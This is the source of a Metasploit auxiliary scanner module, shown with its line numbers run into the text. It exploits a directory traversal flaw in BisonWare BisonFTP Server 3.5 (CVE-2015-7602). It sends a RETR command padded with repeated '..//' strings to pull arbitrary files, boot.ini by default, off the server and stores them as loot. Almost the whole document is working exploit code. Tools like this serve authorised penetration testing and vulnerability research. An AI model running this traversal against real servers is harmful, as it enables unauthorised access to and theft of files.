Path: blob/master/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',15'Description' => %q{16This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server17version 3.5. This vulnerability allows an attacker to download arbitrary files from the server18by crafting a RETR command including file system traversal strings such as '..//.'19},20'Platform' => 'win',21'Author' => [22'Jay Turla', # @shipcod3, msf and initial discovery23'James Fitts',24'Brad Wolfe <brad.wolfe[at]gmail.com>'25],26'License' => MSF_LICENSE,27'References' => [28[ 'EDB', '38341'],29[ 'CVE', '2015-7602']30],31'DisclosureDate' => '2015-09-28',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options(41[42OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),43OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])44]45)46end4748def check_host(ip)49begin50connect51if /BisonWare BisonFTP server product V3\.5/i === banner52return Exploit::CheckCode::Appears53end54ensure55disconnect56end5758Exploit::CheckCode::Safe59end6061def run_host(target_host)62begin63connect_login64sock = data_connect6566# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb67# and #758268if sock.nil?69error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'70print_status(error_msg)71elog(error_msg)72else73file_path = datastore['PATH']74file = ::File.basename(file_path)7576# make RETR request and store server response message...77retr_cmd = ("..//" * datastore['DEPTH']) + "#{file_path}"78res = send_cmd(["RETR", retr_cmd])7980# read the file data from the socket that we opened81# dont assume theres still a sock to read from. Per #758282if sock.nil?83error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'84print_status(error_msg)85elog(error_msg)86return87else88# read the file data from the socket that we opened89response_data = sock.read(1024)90end9192unless response_data93print_error("#{file} not found")94return95end9697if response_data.length == 098print_status("File (#{file_path})from #{peer} is empty...")99return100end101102# store file data to loot103loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)104vprint_status("Data returned:\n")105vprint_line(response_data)106print_good("Stored #{file_path} to #{loot_file}")107end108rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e109vprint_error(e.message)110elog(e)111rescue ::Timeout::Error, ::Errno::EPIPE => e112vprint_error(e.message)113elog(e)114ensure115data_disconnect116disconnect117end118end119end120121122